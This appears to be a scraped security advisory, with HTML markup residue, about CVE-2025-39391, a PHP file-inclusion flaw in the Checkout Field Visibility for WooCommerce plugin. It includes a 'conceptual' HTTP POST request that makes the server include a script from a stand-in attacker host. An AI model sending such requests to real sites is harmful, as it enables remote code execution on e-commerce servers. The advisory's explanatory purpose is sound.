Overview<\/strong><\/p>\n

The vulnerability, identified as CVE-2025-39391, pertains to an Improper Control of Filename for Include\/Require Statement in PHP Program (‘PHP Remote File Inclusion’) vulnerability in the Checkout Field Visibility for WooCommerce plugin. This vulnerability can lead to PHP Local File Inclusion, affecting all versions of the plugin up to 1.2.3. Given the widespread use of WooCommerce, this vulnerability has the potential to compromise a significant number of e-commerce websites, leading to system compromise or data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-39391

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Checkout Field Visibility for WooCommerce | n\/a to 1.2.3<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit relies on the improper control of filename for include\/require statements in PHP programs in the Checkout Field Visibility for WooCommerce plugin. This vulnerability allows an attacker to remotely include files from external servers, which could lead to the execution of arbitrary PHP code on the server.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

In a conceptual example, an attacker might exploit the vulnerability through an HTTP POST request like the following:<\/p>\n

POST \/wp-content\/plugins\/checkout-field-visibility-for-woocommerce\/vulnerable.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ninclude_file=http:\/\/attacker.example.com\/malicious_script.php<\/code><\/pre>\n
In this case, the attacker is attempting to include the file ‘malicious_script.php’ from their own server. If successful, the server would then execute the malicious PHP code contained in this file.<\/p>\n
Mitigation<\/strong><\/p>\n
Users are strongly advised to apply the latest patch from the vendor as soon as possible. Until the patch can be applied, a web application firewall (WAF) or intrusion detection system (IDS) could be used as temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"
